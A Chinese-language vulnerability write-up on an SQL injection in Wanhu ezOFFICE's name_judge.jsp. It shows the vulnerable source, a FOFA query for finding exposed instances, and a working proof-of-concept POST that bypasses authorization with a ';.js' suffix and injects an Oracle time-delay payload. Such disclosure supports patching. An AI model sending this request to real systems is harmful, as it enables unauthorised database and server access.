漏洞简介
万户OA ezoffice 是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。万户 ezOFFICE name_judge.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。
影响版本
老旧版本
fofa语法
app="ezOFFICE协同管理平台" || app="万户ezOFFICE协同管理平台" || app="万户网络-ezOFFICE"
漏洞分析
直接看name_judge.jsp文件里的业务实现逻辑吧,非常简单明了
String govFormName=request.getParameter("govFormName")==null?"":request.getParameter("govFormName").toString();
String formId=request.getParameter("formId")==null?"":request.getParameter("formId").toString();
String formType=request.getParameter("formType")==null?"":request.getParameter("formType").toString();
try{
conn = dsb.getDataSource().getConnection();
stmt = conn.createStatement();
//String strsql="select WF_IMMOFORM_ID from wf_immobilityform where immoForm_displayName= '"+govFormName+"' ";
String strsql="select id from GOV_CUSTOM_DOCUMNET where govFormType="+formType+" and govFormName= '"+govFormName+"' ";
if(formId!=null&&!formId.equals("")){
//strsql+=" and WF_IMMOFORM_ID<>"+formId;
strsql+=" and govFormId<>"+formId;
}
java.sql.ResultSet rs = stmt.executeQuery(strsql);
if(rs.next()){
out.print("0");
}else{
out.print("1");
}
三个参数govFormName、formId和formType都是直接拼接进SQL语句中然后用executeQuery执行,所有参数都没有过滤或校验,从而造成SQL注入漏洞。
漏洞复现
权限绕过分析参考:万户 ezOFFICE ajax_checkUserNum.jsp SQL注入漏洞
POST /defaultroot/modules/govoffice/custom_documentmanager/name_judge.jsp;.js HTTP/1.1
Host: ezoffice.mrxn.net
Content-Type: application/x-www-form-urlencoded
formType=1+AND+1337=DBMS_PIPE.RECEIVE_MESSAGE('any',4)--&govFormName=1&formId=1
成功延时4秒


